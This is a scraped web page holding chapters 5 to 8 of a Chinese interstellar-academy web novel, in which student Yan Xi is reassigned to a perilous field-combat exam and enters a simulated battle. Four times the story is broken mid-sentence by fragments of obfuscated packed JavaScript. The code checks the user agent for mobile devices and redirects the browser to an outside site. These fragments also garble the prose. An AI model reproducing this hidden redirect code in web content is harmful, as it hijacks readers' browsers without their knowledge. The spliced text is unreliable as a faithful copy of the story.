d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376689|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“表姐总是这么厉害。” 这话倒是真心实意的，格鲁吉娅.金，引人注目不仅仅是因为她容貌姣好，更是因为她有着当代星网最看重的学术光环。她十七岁提前一年通过保送进入帝国里经济类排名最高的斐来商学院，在开学后同时选修商学院内最热门的商学和前沿科技研究两门专业，而后在校期间同时占据两大专业的绩点第一名，并且先后被两位顶尖级导师招入门下。 “海莲娜也很厉害啦，不要太谦虚。”格鲁吉娅笑着揉了揉海莲娜的艳红色长发，“海莲娜只是成绩不好，或许你只是没有找到自己真正擅长的东西。” 海莲娜默了一下。 她转头看向坐在一边的少年，他长得和格鲁吉亚有七八分像，只不过多了几分硬朗，仪态严谨，这正是格鲁吉娅的亲弟弟，海莲娜的表哥，戴勒.金。 “知道第一是你。”海莲娜微微撇开头，“别在我这个垫底面前炫耀了。” 戴勒和海莲娜恰好是同校的同届生，都填报了帝国工业大学的精神力研究专业，只不过是一个天一个地罢了。 戴勒微笑着安慰表妹，拍了拍她的背。 *** 客厅另一头的巴恩斯夫妇和金夫妇看着这边的谈笑风生的样子，倒是没出声。 “海莲娜着孩子和他们姐弟关系倒是很好。”金家家主伦德.金说到。 “海莲娜这次成绩有进步呢。”梅根.金说话了，她是玛琳.巴恩斯的亲姐姐，两人出身于同一个大家族。 “海莲娜这孩子……”玛琳默默地没有继续说下去，转头看了看坐在沙发上的格鲁吉娅和戴勒，没继续说话。 路易.巴恩斯看了一眼不远处笑得很开心的海莲娜，默默叹了口气。 “捡来的，总归是不一样的。” *** 宾主尽欢。金家的客人们离开的时候夜色已深，繁星缀满了天幕。 对于星际时代的人们来说，如今的星星已经不再是传说，已是可以触及的远方的恒星。 这种想法挺不浪漫的，海莲娜心不在焉的想着。 “海莲娜？”玛琳在楼上喊她，“该休息了。” “来了。”海莲娜回答道，顺手整理好了方才因金家姐弟坐过而微微泛起褶皱的坐垫，借着这个动作从沙发下的暗格里拿出了颜惜借给她的那台袖珍精神力监测仪。 这种袖珍监测仪之所以被淘汰也是因为它只能划分20档，相较于现在通用的检测仪器来说实在是太过粗劣，但是对海莲娜来说已经够了。 她疑惑许久，迫不及待地想要找到答案。 借着微弱的灯光，海莲娜看清了检测仪器上指针最终指向的表盘颜色。 是最高等级——代表着95-100级之间的纯澈的金色，在昏暗的客厅里泛着浅浅的流光。 她清楚地知道自己的精神力不过86点，而父母和姨母更是不超过85点。金家姐弟对外宣称的精神力点数甚至也只有89。 海莲娜在一瞬间变了脸色。 5. 祝你好运 颜惜从地下交易所出来的时候天还没黑。 她这下终于在光脑上给自己捏了一张仿真面具，看起来就像一个疲惫的中年社畜,下班后穿过脏乱差的“都城之翼”贫民窟里的弯弯折折的巷道，走到附近最近的悬浮轨道车站。 她通过了虹膜扫描，在光脑的扣款声里走进了车站。 悬浮列车五分钟一班，不同的轨道像血管一般带着一批人从城市中心蔓延至边缘地带，而后又从末梢带着另一批人汇聚回心脏。 颜惜很喜欢一个人坐班车。哪怕是一群人面露麻木与疲惫的人聚集在一起，也能带来那种安心感，远胜过她一个人呆坐在小房间里，想要做点什么但又觉得无能为力，最后又颓唐地过了一天。 安静到只剩下列车报站时的甜美播音腔和行驶路程中车厢震荡的声音，没有人会在意她，那样就很好。 这种底噪刚好可以防止她一空下来就开始回忆过去经历了的那些重大选择，而后不断质疑自己有没有走错哪一步，最后陷入自厌和惶恐不安。 她沉默地去长老院给安德鲁递交检测仪，又沉默地回了宿舍。 她的两个室友季宴和桃然正窝在寝室的沙发上看帝国传媒的新品爆剧，讲述了一个平民女性意外救下一位世家子弟，而后经历一系列磨难，最后两人冲破了外界的阻拦成为令人羡慕的神仙眷侣的故事。桃然一直是这种狗血剧的重度爱好者，在她的盛情邀请之下，颜惜也站在她们两个身后也跟着看了会儿。 “这剧情忒无聊。”季宴打了个哈欠，无力地吐槽道，“这种影视剧完全就是瞎编，哪有什么离开我儿子，给你五百万的剧情。编剧脑子被驴踢了吧。” “这不都是冲着黛西的颜值去看的嘛，甜妹天花板嘛。”颜惜挺喜欢这个演员的甜美系长相，甚至能短暂地无视一下剧情的重重逻辑漏洞。 季宴耸耸肩：“我不太吃这款颜值。”她忽然想到什么似的，转头看向颜惜，“早上刘老师的课你怎么没在？” “啊，这个啊。”颜惜拿了一包小零食，低下眼睫，撒谎撒的毫无痕迹，她专心拆着包装，“我请假了，去打营养针了，有点贫血。” “怎么了？老师上课讲了什么吗？”颜惜终于拆开了包装，抬头问季宴。 “老师说这次期末会进行实地组队作战，整个中央星所有在读的学生都要求参加这次大型联考，这次相当于是重新开启了已经中断了十年的格林联赛，是由军部、皇室和议会三方共同承办，优胜者甚至可以提前好几年拿到相关部门的签约合同。也不知道能不能自己组队分配，”季宴说到，“如果能的话，我想着要不我们寝室三个人组队。” 颜惜了然。这大概就是段迟凛和安德烈说的那场期末联赛。 “这次等同于重启格林联赛？”桃然转头惊讶道，“联赛那都是多久以前的事情了？现在怎么又突然重新开始了？季宴你哪来的消息？” 季宴眼神闪躲了一下。 颜惜装作没看见，她想了想开口道：“好啊。你们不嫌弃我拖累你们就行。” 毕竟季宴学的是冷兵器武学，而桃然甚至是医学系专业第一。 格林联赛是和格林平台息息相关的，而格林平台的历史甚至可以上溯至帝国开国时期，据说是由当时一批星网搭建者和一群网络信息安全专家联袂打造，所有拥有光脑等终端设备的人，只要通过申请，都能加入格林平台。 发展到后来，格林平台成为了所有光脑上都会搭载的基础平台，更是发展成了公民日常事务处理的最大平台，涵盖了搜索引擎、智能办公、文娱活动的所有功能，所有官方消息也都在格林平台上发布。 而论关注程度，格林平台上话题度最高的话题，绝对是格林大赛。 格林大赛的开始只是有些好事者玩闹间建立了所谓的“格林大赛”，将自己的打闹视频上传至格林平台，谁知一朝爆火，还真的建立起了一个规范的大赛，随着后续发展，格林大赛规模也逐渐扩大，后来更是进一步与军方、议会、世家等势力勾连，成为全帝国规模最大的常驻模拟赛事。赛事版块也由原来的单一“对战版块”变为涵盖了各行各业的版块。为了方便参赛人员，甚至还在副版中设置了一个理论查询系统，成为帝国近乎人手必备的系统，所有人只要拥有光脑，就可以参加。 格林大赛中参赛人水平相差较大，鱼龙混杂，但是涵盖面却非常广，因此它也成为了官方选拔民间优秀人才的一个途径。类似中央第一军校就设置了“一千场场次，70%以上胜率”这样的标准来招收学生。当年的颜拾雨上将哪怕并未上过任何预科班，但通过自学以及格林大赛，他拿到了该校的录取通知书，而后开启了辉煌的军事生涯。 而联赛则是大赛的进阶版本，一般由多个主办方共同在线下举办，每五年一次，相较于大赛参加人员的全年龄全方位无门槛，联赛的门槛显然就要高许多，而且是面向正在读大学的少年，相当于另类的春招秋招。 不过在十年前，当年的联赛主考官不知为何突然毙命后，联赛暂停了两届，直到如今才重新开启。 “所有人都要参加？”颜惜问道，“那这次联赛的规则是怎么样的？” 这个问题她隔天就知道了答案。 中央星大学是综合性大学，是帝国目前综合类大学综合排序第一位。不过再好的学科建设和她本人都没什么关系，颜惜读的专业叫星际特有文化与现象鉴赏专业，冷门加天坑，整个专业100个人，七成以上都是靠给学校捐大楼走的后门，剩下三成是给学校拨款建大楼走的后门。 周一早上八点，教室里来的人稀稀拉拉的，颜惜趴在阶梯教室的桌子上补觉。要不是这堂公开课是校方三令五申要求全员到场且考勤极其严格，她才不会起这么早。 肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376690|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀忽然被人戳了一下。 颜惜睡意朦胧地抬眼，发现是同班的一个同学。他有一双很符合帝国人审美的湖绿色眼睛，还有一头耀眼的金毛，晃的颜惜眼睛疼。 他毫不客气地坐在了颜惜隔壁的位置上，大剌剌地把颜惜的水杯撇到一边。 “别睡了，”他说，“你不想知道格林联赛的分组规则吗？相信我，接下来学院里肯定要讲这件事。” “你谁？”颜惜莫名奇妙。这五年大学她把能逃的课都逃了，别人评价她心比天高，而她和那群心气同样高的同学也说不到一块去，因而五年时间也只是把人脸认了个熟，甚至对不上名字。 对面的人露出了受伤的表情。“我是路子垚啊！”他说，“我当时可是……” “你想说什么？快说。”颜惜没有和他继续耗下去的耐心，今天早上起的太早，她到现在还睡眼惺忪，此时此刻还想着一下课就回寝室躺着，说不定还能睡个回笼觉。 “今年格林联赛比往年多了个调剂环节，而且还不是根据成绩先后来划分是否调剂的，而是随机的。”路子垚神神秘秘地说道。 “怎么说？”颜惜来兴趣了，“意思是所有大类之间会随即抓取一群人扔到另一个大类里进行考试？” 格林联赛往年会先把学生分成理论类、实践类两个几个大类，帝国学生只能挑选一个类别进行参加，再在下边细细划分小项，比如实践类会划分为制造、对抗、调度等等分类。 像颜惜她们这个专业，按理说是会被分到理论大类下面的分支，到时候估计是要进模拟环境进行全景考试，用虚拟环境把学生投放到当时的场景里，然后让他们做题。客观题占比不大，主观论述占比反而会很高，这是格林联赛的一贯风格。最后的最后，再由统一训练后的ai大模型给他们评判分数。 “对。”路子垚说道，“说是为了考察学生的综合素质、快速学习能力以及临场应变能力。” “而且，组队也不是完全随机的，不过据说还引进了一个先进的系统，可以平衡小组成员的平均水平。”他又补充道，“不过除此之外应该都是随机的。” “所以，好带差，老带新？”颜惜咋舌。 “对。” 颜惜暗道这也太不把学生当人。不仅要处理自己的问题，还要防止被别人拖累或防止拖累别人。还没开始她都已经能想象到格林联赛开始后，几个不熟的小组成员互相甩锅的场面。连格林联赛都要变成大型的小组作业了。 果不其然，大课上院长公布了这则消息，内容和路子垚先前告诉她的别无二致。下面的学生哭叫连天，纷纷喊着要去格林平台投诉格林联赛莫名奇妙的规则。 一片喧嚣里。 颜惜转头看向旁边无比可疑的路子垚：“你为什么非要找我说这些？” 路子垚笑眯眯道：“不知道呀，反正先祝你好运。” 6. 调剂科目 果不其然，隔天颜惜就感受到了学院里不同寻常的气氛。 分组名单会在下一周才出来，虽说今年加了个所谓的调剂，但颜惜觉得这些大多是给那些想要给自己贴金的、成绩优异的、跨学科发展的人提供的一个暗箱操作的机会，她倒不至于运气差到这种地步，被调剂到什么打打杀杀的考试场次。于是她安安心心地准备起了本专业的理论考试。 颜惜想着既然是小组考试的形式，她也不要太给别人拖后腿，虽然她对这个不在乎，但万一小组成员有卷绩点的需要，她总不好耽误别人的未来。 于是颜惜终于去星网上找了攻略，列了一个长长的书单，然后又花了一下午找齐了电子书，毕竟她这个专业算是新兴冷门专业，甚至连一本像样的、系统的教科书都没有。 考前临时抱佛脚，实在是有点痛苦，所幸颜惜记忆力还算不错，靠着死记硬背，终于在脑子里留下了点诸如星际发展史纲要、新兴星际景观学派等等知识点的影子。 还没等她骄傲片刻，联赛分流结果就下来了。 颜惜端着颤抖的手登陆了格林平台，刚打开了邮箱看到了分组通知，写在前面的一行大字看得她眼前一黑。 “恭喜你！被调剂到了实践组！” 下面还有一行小字：“期待您有完美的考试结果！相信以你优秀的综合素质一定能在这场联赛里脱颖而出！” 颜惜惊呆了。 于是她又点进邮件里面，期待自己分到那种物流调度或者是手工什么的这些她至少可以学的专业，结果更是挨了当头一棒。 “恭喜您！在本次联赛里被分到了实践大组下的实地作战小组！期待您在本次联赛里赛出风格，赛出风采！” 颜惜坐在那里，一句话都说不出来。 天要亡她。 她迅速地截了图发给段迟凛：“你干的？” 然后又原样问了一遍海莲娜。 段迟凛似乎在训练，没理她。 海莲娜倒是秒回：“？你神经病啊？我没事干这个？我又不是真的要你的命。” 而后她又幸灾乐祸起来：“哎哟，你也有今天。” 颜惜放下光脑。 实地作战是所有学科里最凶险的专业，因为这科目在考试里是真刀真枪的，而且不同于其他的科技模拟考试场景，实地作战是真的会把学生投放到荒星上然后让他们之间互相战斗最后分出胜负。往年里死在赛场上的学生不计其数，考前甚至需要考生签一个生死免责条款，近几年倒是引入了很多保护学生的措施，但是考生由于来不及抢救或其他各种原因去世的概率虽小但绝非没有可能。 颜惜不想为了这个鬼考试搭上自己的小命。她爆发了她过去二十二年生命里都少有的高能量，短短三小时里跑遍了整个学校，咨询了从专业课老师到系主任再到院长等一系列联赛相关负责人，得到的答案都是，今年的联赛是重新开办的，再加上调剂组非常受重视，如果她不参加，那将被做零分处理，甚至连她那些辛辛苦苦刷来的平时分都要清零。中央星大学对于考勤等要求十分严格，如果她真的被零分处理了，那她就必须被退学。 颜惜冷汗直流。 哈哈，真是要完蛋了。她想。 她回想起自己小的时候她老妈对她的寄语：“小惜只要不挂科不被退学就很好了，我对小惜没有别的要求。” 颜惜在心里对老妈感到抱歉，她恍恍惚惚地想要是得知她现在这样，她老妈会不会从墓地里气的爬出来。 室友季宴倒是学格斗的，颜惜听说她好像在中央星大学里边排名数一数二，她似乎也分到了实地作战这个考试门类，颜惜打算等她回来问问她具体的情况。 颜惜开始在星网上找一些所谓的实地作战类别的速成帖子，她一路往下滑，大多数都是嘲讽的，诸如什么自己几斤几两自己清楚啦，蠢人就不要来乱发帖之类的，她无视掉了那些攻击类言论，终于在一个角落里找到了一个正儿八经能用的十多年前的帖子。 主楼：如果你被分到了实地作战项目，首先，你需要一件趁手的、有精神力接口的武器。因为实地作战这个项目唯一允许代入场内的就是浓缩营养包和你的随身武器。 颜惜开始翻箱倒柜，在乱成一堆的柜子里摸了半天，终于摸到了一个圆形，冰凉的东西，她掏出那枚储存手环，双指捏着它对着窗外的阳光眯眼看了看。 手环是玻璃种翡翠打造的，看着很是贵气，在阳光直射下看起来晶莹剔透，这脆弱的小物件还是在外重金难求的精神力武器。这是颜惜成年那年，长老院里一位擅长铸造的长老送给她的成年礼，可惜一直被颜惜丢在衣柜底下，要不是这次调剂，颜惜都不准备把它捞出来。 所谓精神力武器与寻常武器还不一样，这种武器在锻造时要复杂上许多，它的最大特点是可以链接精神力从而提升武器本身的硬度和攻击效果。以游戏里的武器举例，精神力对武器本身来说就像是附魔，而精神力武器就是有附魔槽的专武。 颜惜仔细回想了一下用法，绕着手环摸了一圈，终于在手环内测摸到了一个小小的凹槽。据说这种定制款手环只有注入本人的精神力才能解锁，如果他人想要强行打开甚至会引发自爆。 颜惜小心翼翼地注入了一点精神力，精神力与凹槽处的连接点逊色嵌合，手环在颜惜手上迅速幻化为一柄轻剑。 那是一柄浅青色的剑。 剑柄上雕刻着繁复的纹路，勾勒出鸢尾花的纹样。 剑身是纯粹的轻铁打造而成，颜惜提在手中，几乎没有什么重量。宿舍顶上的灯光打在剑身上，泛出冷冷寒芒。 颜惜微微阖眼，抬手将全身的精神力全部凝结在右手上。通身的精神力流过剑身，刹那间，颜惜甚至产生了一种错觉，剑似乎已经与她融为了一体，能随她心念而动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376691|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜惜随手将轻剑往一挥，剑尖寒芒与剑身挥舞而出时的流光瞬间重合。 下一秒，剑锋彻底挥出，直接在中央星大学无比坚硬的宿舍墙上划了深深的一道痕迹。 “我天！”颜惜赶紧收回手中的剑，飞扑到墙上检查那道划痕。宿舍墙可是用玄铁为基础，外边加了超强力的塑封隔音材料板，而她刚才那下直接划开了最外层，甚至在里层的玄铁上也被她劈开小小一道。 颜惜一下子膨胀了。她觉得自己又行了。今天她能划开宿舍墙体，明天就能吊打段迟凛，再过段时间什么皇室议会通通都要被她踩在脚下。 但是现在她还是那个一穷二白的颜惜。毕竟皇室替她交了学费，长老院更是不会给她除生活费外的一分钱，就生怕她出去搞事。所以现在的颜惜困窘到想要做点什么只能等海莲娜来接济。 为了躲避学校高额的损害公物的赔款，她很心虚地拿了一张黛西的演艺海报盖在那道划痕上边。 *** 段迟凛看到颜惜那条消息的时候已经是晚上十点。 他刚下训，一点开光脑，就看到了颜惜给他刷了满屏的愤怒比格的表情，再往下一划就看到了颜惜发的她被调剂的消息。 段迟凛皱起了眉。他父亲放权已久，他母亲近几年也有意把权力往他身上推，更别说他母亲不至于对颜惜出手。他本人更是不会无聊到做这种没有意义的事。 他回复道：不是我。 颜惜秒回他一大堆鬼图表情包，摆明了她不信。 段迟凛没继续辩解。 颜惜被调剂到实地作战，这事没那么简单。所谓调剂的筛选机制不会真的把那种纯理论类的调剂到实战这种毫不搭边的科目，一般都是那种两边都沾点跨学科才会被调剂，段迟凛不相信这是个意外。 再加上颜惜又没经过任何精神力训练，既不会掩藏自己，更别说短时间内让她学会怎么使用精神力适配类武器。等她到了考场上，直接就是所有人都可见的活靶子。其他人可不像他一样还会管颜惜的死活，为淘汰对手无所不用其极的那些考生第一个目标必定就是颜惜，更别说有些想要出名的心理变态甚至以折磨对手为乐。这种情况下，要是有人想要对颜惜动手简直是轻而易举且名正言顺。 段迟凛光是想想头都要痛了。他不能真的放任颜惜死掉。先不管要是颜惜出了什么事他的风评会被别人刻意抹黑到什么地步，他的道德也不允许他看着颜惜出事，虽然他真的很希望颜惜能一开始就不存在这个世界上。 谁会要颜惜的命？虽然颜惜平时张牙舞爪很是显眼，看似得罪了很多人，但是她真正触及到问题核心的时候反而很少，她还不至于被人厌恶到杀人灭口的地步。 能做到改变格林联赛筛选机制又想要对颜惜动手的人…… 段迟凛转头对信任的副手吩咐道：“去查——格林平台里进内鬼了。” 7. 八卦短信 格林联赛的预科赛设置在周五下午。预科赛是为了初筛学生水准，以确保之后的分组更准确无误，以免出现什么纰漏。 各个不同门类的科目设置在不同的地点，而实地作战的预科考场设置在第一军事大学。毕竟这学校里90%的人都参加实地作战的赛事。 季宴拉着颜惜走在去往第一军事大学的路上，两人坐上悬浮轨，季宴事无巨细地给颜惜再次重申了各种考场里的注意事项。 “好的好的我知道了。”颜惜顶着季宴充满担忧的眼神，安抚道，“你说的我都记住了。” 季宴这几天比颜惜还要焦虑，在得知颜惜的调剂后给她狠狠恶补了整整两天，一有空就逮着她训练隐藏外溢的精神力，以及怎么长时间地保持和精神力武器的链接。 “你这样零基础到底怎么被调剂的啊！”季宴叹气道。 “可能是我运气太好了吧。”颜惜笑笑。 季宴以为她在自嘲，但是转头看她，却发现她神色里并无玩笑的意味。 颜惜已经准过头去看向窗外。她的位置靠窗，随着悬浮电车渐渐离开地面，舷窗外的景物不断向下移去，林立的高楼混杂着分布于其间的小型绿地公园，天使与女神塑像的喷泉喷出的水珠在阳光下熠熠发光。 颜惜托着腮发呆，思维涣散的彻底。 中央星星如其名，是帝国的首都星，也是政.治、经济、文化三重中心。当年段家第一批先遣探索队就发现了这颗宜居星并且在这之上登陆，经过一代又一代人的努力，建立起了这个星际帝国。而后又有源源不断的其他星际民汇入帝国，开疆扩土，又在外围设立了人造小行星和人造卫星共同组成的环状防线，利用空间压缩技术与空间跃迁技术制造了类似于空间门的跃迁通道与跃迁定点，这才形成了帝国如今的规模。 所有人都说帝国是这一整个星系的珍贵玉石，中央星更是镶嵌在玉石上的明珠。 颜惜张开手，对着下方虚虚一握，不知道想到什么，低低笑了起来。 *** 中央星是个大星，中央星大学到第一军校的距离也很远。可毕竟悬浮列车经过代代改良，行进速度实在是很高。不过小半个钟头，就到达了目的地。 颜惜和季宴通过了校门口的虹膜扫描，往校内走去。 主流军校一般会设置三大系：作战、武器、后勤，再加上一个专属研究所。中央第一军校也不外如是。 颜惜他们预科赛的地点在作战系，于是她提步向东方位走去。 第一军校不负其第一之名，占地面积极大，校内的配置也能看出其豪华。各幢大楼在崭新或富有底蕴的同时还有其他的设计元素蕴含其中，并且东南西北四大区风格都不尽相同。 例如南方位的武器系总体透露出一种凌厉锋芒，而西方位的研究所区的建筑则充满科技感，北方位的后勤区多为边角柔和的建筑，至于东方位嘛—— 颜惜抬起眼，又对比了一下光脑手环中发的初赛报道楼定位地图，这才抬腿迈了进去。 第一军校东方位作战区的建筑，在外观棱角分明的同时，每栋楼都设计有一道谜题，解出来以后的答案或许是某位学长的感情秘辛，也有可能是军校里某个藏满了学姐留下来的馈赠的房间，而谜面以及解密线索全部蕴藏在大楼的角角落落里。而且只要这道谜题被解出来以后，就会自动替换成另一个题目。 颜惜觉得这就很妙，一所军校居然比她们的中央星大学要有人文关怀。当然，真要颜惜在这里和一群暴力狂进行封闭式高压高强度训练，那她还是不愿意的。 颜惜在大楼正厅中央的圆柱形机器前停下，因为这次来时磁悬浮轨没有任何调度意外以及拥堵，她和季宴来得太早，距离截止时间还有三个小时，所以颜惜来时大厅里空无一人。 颜惜抬手将戴着光脑手环的右手放在机器正面一个信息接收口之下，机器桩迅速弹出一道蓝光对颜惜光脑上的预科准考证通知进行了扫描。 不过片刻，一个弹窗弹了出来。 “姓名：颜惜 年龄：二十二岁 性别：女 学校：中央星大学 专业：星际特有文化与现象鉴赏 考试科目：实地作战” 随之而来的还有一条消息：“恭喜成为本科目本届格林联赛首位报道的调剂选手！” 颜惜很命苦地笑了一下。这是什么很值得庆祝的事吗？ 而后光脑又弹出来一条消息：“作为鼓励，本次可免费赠送你一个关于第一军校的史诗级新闻！” 颜惜看到史诗级三个字眼睛都亮了，皇天不负有心人，或许真是什么《三天学会实地作战》之类的秘籍呢！她的运气也是好起来了。 季宴也很好奇，颜惜就索性解开了光脑的隐私限制，两人一起看了起来。 那个弹窗先是红红绿绿地动感光波了一阵子，然后开始了诈骗小网站一般的光污染特效，最后过了整整三分钟，整个屏幕才变成纯白，而后上面突然跳出一行黑色大字： “万千梦女梦男心碎，军校超高人气之神——颜拾雨私下自曝在军校期间已进入稳定恋爱关系！婉拒她人以及他人追求。” 很好，颜惜真的是充满的转身就走的冲动，她跟面前这个傻缺弹窗耗了大半天，然后得到了这样一个结果，浪费了她的青春，浪费了她的生命，浪费了她宝贵的五分钟。 难怪许久都没有人来，当然没有什么正经人会为了什么小道花边新闻提早两三个小时来抢什么所谓的调剂第一名名额。 颜惜觉得有点喘不上气，转眼一看却见季宴眼神呆滞。 颜惜在她眼前挥了挥手，季宴却浑然不觉。 “天呐。”季宴喃喃道，“偶像原来也会和别人进入亲密关系。原来……天呐……” ……颜惜真是奇了怪了，怎么这颜拾雨跟魅.魔一样，人人都喜欢，轮到自己就背负上了讨人厌的名号。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376692|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>甚至其实她来中央星前都不姓颜，是长老院那群人非要说她原先的名字不够大气，恰逢那时颜拾雨过世三周年，于是他们就打着缅怀先烈的名号，把她名字改成了“颜惜”。这名字什么意思真是显而易见——为颜拾雨的逝去而感到可惜。 颜惜真是不敢恭维。不过还好她对于改名这件事本身倒是没有什么太大的感觉，于她而言，名字只不过是一种符号与代称，不必太过于在意。 “颜惜？”背后突然有人叫她的名字。 颜惜转头一看，是路子垚。 “你也被调剂了？”路子垚笑眯眯地看着颜惜，“好巧，我也是。” “或许运气好一点，”他接着说，“我们都能被分到同一个考场上呢。” 颜惜能真相信才有鬼了。 颜惜再怎么摆，好歹也在中央星长老院那个一窝老狐狸的地方呆了整整七年，她不敢说自己待在长老院里有什么极大的优点，但是取得各种信息渠道对于她来说实在不是什么问题。再加上议会也偶尔会露一点边角料给她，通过这些途径颜惜隐秘地拿到了许多没有流传在明面上的消息。 上次见完路子垚回去后，颜惜真就如他所说一般被调剂，颜惜又不是真的傻子，早就趁乱搞到了路子垚的一手信息。 比如说路子垚来自于极其有名的矿产家族路家，而且他是当前路家主事人的独子。路家掌握了东部星系那边有许多已持续开采的矿产星以及一大批还未开采的荒星的全部矿产资源，可谓是一支独大。 而在如今已经阶级固化的帝国，来自于中低产阶级的孩子想要进入顶尖级学校就需要比别人花上很多的力气，想进五大校更是艰难无比。而在那些顶尖家庭他们会有专人根据个人的天赋与兴趣爱好制定好未来的每一步，并且他们的人生大多都会毫无偏差地按照人生规划进行。 而路子垚他，从十岁开始就有专门的专家进行对标军校教学内容的训练。甚至在正式进入大学之前学的读的预科班、升阶班都是和军校相关的，甚至他也顺利地进入了第一军校，但不知道为什么，却在一年前从军校的大热门专业作战科转到了中央星大学颜惜所在的这个冷门天坑专业。 这很显然不是路子垚此人本来的规划。外加上此人天天一副笑眯眯的样子，颜惜看见他就幻视她最讨厌的长老院的那几位人精。 颜惜暂时想不到他这么做的理由，索性直接转过头去，不想理他。不爽他的性格是一方面，那种只要见到路子垚是就会莫名产生的奇怪之感也是一方面。 他身上有一种很怪异的割裂感，像是被很多个人的某个部位拼凑而成的一个新的人。这种感觉，颜惜也在其他几个人身上感受到过，例如海莲娜的表姐格鲁吉亚·金，但路子垚给她的怪异感是最强的。但很显然路子垚显然是完整的，其他那几个人也是完整的，颜惜说不上来这种感觉。 但颜惜相信自己的直觉。 第六感告诉她此处有误，那就是真的有问题。 8. 模拟对战 “请所有参与本次联赛预科赛的学员时刻关注自己的光脑信息。”还没等颜惜想明白路子垚究竟是哪里不对劲，播报声就再一次响了起来，“本次对战完全按照随机分配，请抽到对应号码的学员前往相应号码的训练场集合。” “本次对战采取多人模式，全员参加，3928名学员会被分配至1-40号训练场，每个场地有95-100人不等，被他人击中要害部位即视为出局。场中最后剩余十位可获得额外加分。最终成绩由系统评判，作为联赛正赛分组标准。”女声电子机械音播报道。 “本次对战采取模拟模式。” “最后，祝各位学员发挥出自己的水平，争取更好的成绩。” 与此同时，“滴”的一声，颜惜的光脑微微震动了一下，颜惜摁开开关键，只见信息栏里发件人名为第一军校的那个信息下是简简单单的数字： “24。” *** 第一军校不愧是中央星五大名校之一，其中设施精良程度超乎颜惜想像。 1-40号训练场分布在一栋高达四十层的大楼之中，一层楼对应的是相应层数的训练场，比如一楼就是一号训练场，二楼就是二号，以此类推。整座训练大楼位于军校正中央，是全校最高的建筑，每一层都是正四方形，且与它的相邻两层交错开去，显的整栋大楼充满动感又锋芒毕露。 颜惜乘坐升降梯到达了二十四层，通过了门口的人脸识别。 还没进训练场，颜惜就被身后的人挤了一下，颜惜趔趄了一下这才找回了重心。她进门看着一群肌肉线条沟壑分明的男女，第无数次萌生退缩之意。 颜惜来的不早不晚，有来得早的人已经开始蹲在地上做拉伸动作了。 在这里，新生和训练有素的老生就有了很明显的差别，颜惜甚至能准确的分辨出面前的这些对手们谁来自于普通年级谁来自于附加年级。 颜惜看着面前形形色色的学员，低头掂了掂自己的手腕，浅浅估量了一下。 她现在的体能其实挺差的，手臂和腿上只有一层薄薄的肌肉，这几天被季宴拉着锻炼加增肌，体重上升到了55千克，体脂率略微有所下降，但颜惜身高将近170，整个人看起来还是很单薄。她的耐力和爆发力依旧很弱，比起从前…… 算了，不要多想。颜惜抬起头来。 *** 下午15：00，对战训练准时开始。 训练场在秒针跳到整点的那一刻，场内像是被海浪席卷一样瞬间覆盖了一层精神力接触面。 颜惜周围的学员瞬间收起了所有的嬉笑，几乎都是在一瞬间，所有人的精神力释放出来，连接上训练室的精神力接触面。 颜惜顿了一下，这才不慌不忙放出精神力与精神力接触面建立链接。 霎时间，眼前的景色一变，变成了一整片郁郁葱葱的大森林。 颜惜知道这是模拟技术，在虚拟环境中完全复刻了现实里有的所有东西。唯一多出了挂在每个人耳朵上的播报耳机。 颜惜就地放出了收纳手镯里的那柄轻剑。 她看了看手中和实物一模一样的、被她拿出来的轻剑，微微勾了勾手腕适应虚拟环境，同时脚下不停，迅速转移到了一颗巨木后面。 颜惜的霉运这次没有发作，她的落点很好。这块地区属于密林地形，恰巧这块区域四周有雾，周围可见度很低，颜惜悄悄散开精神力探查了一下，周围十米内也没人。 一片阒寂。 颜惜垂下眼，她想起几天前和令人讨厌的上司安德鲁的对话。对方似乎很有把握拿下这次格林联赛的最终名额。那意味着他们有充足的实力来对段迟凛出手。颜惜摩挲着剑柄上的花纹，可惜她根本没有可以和别人对抗的实力，所以最好还是别在这次预科赛里垫底，免得最后又阴差阳错卷到他们的斗法里。 方才她听到规则是每场的最后十个人拥有额外加分，那只要她一直苟到最后就不至于垫底。 颜惜五感很敏锐，因此对于她而言，隐匿较为有利。 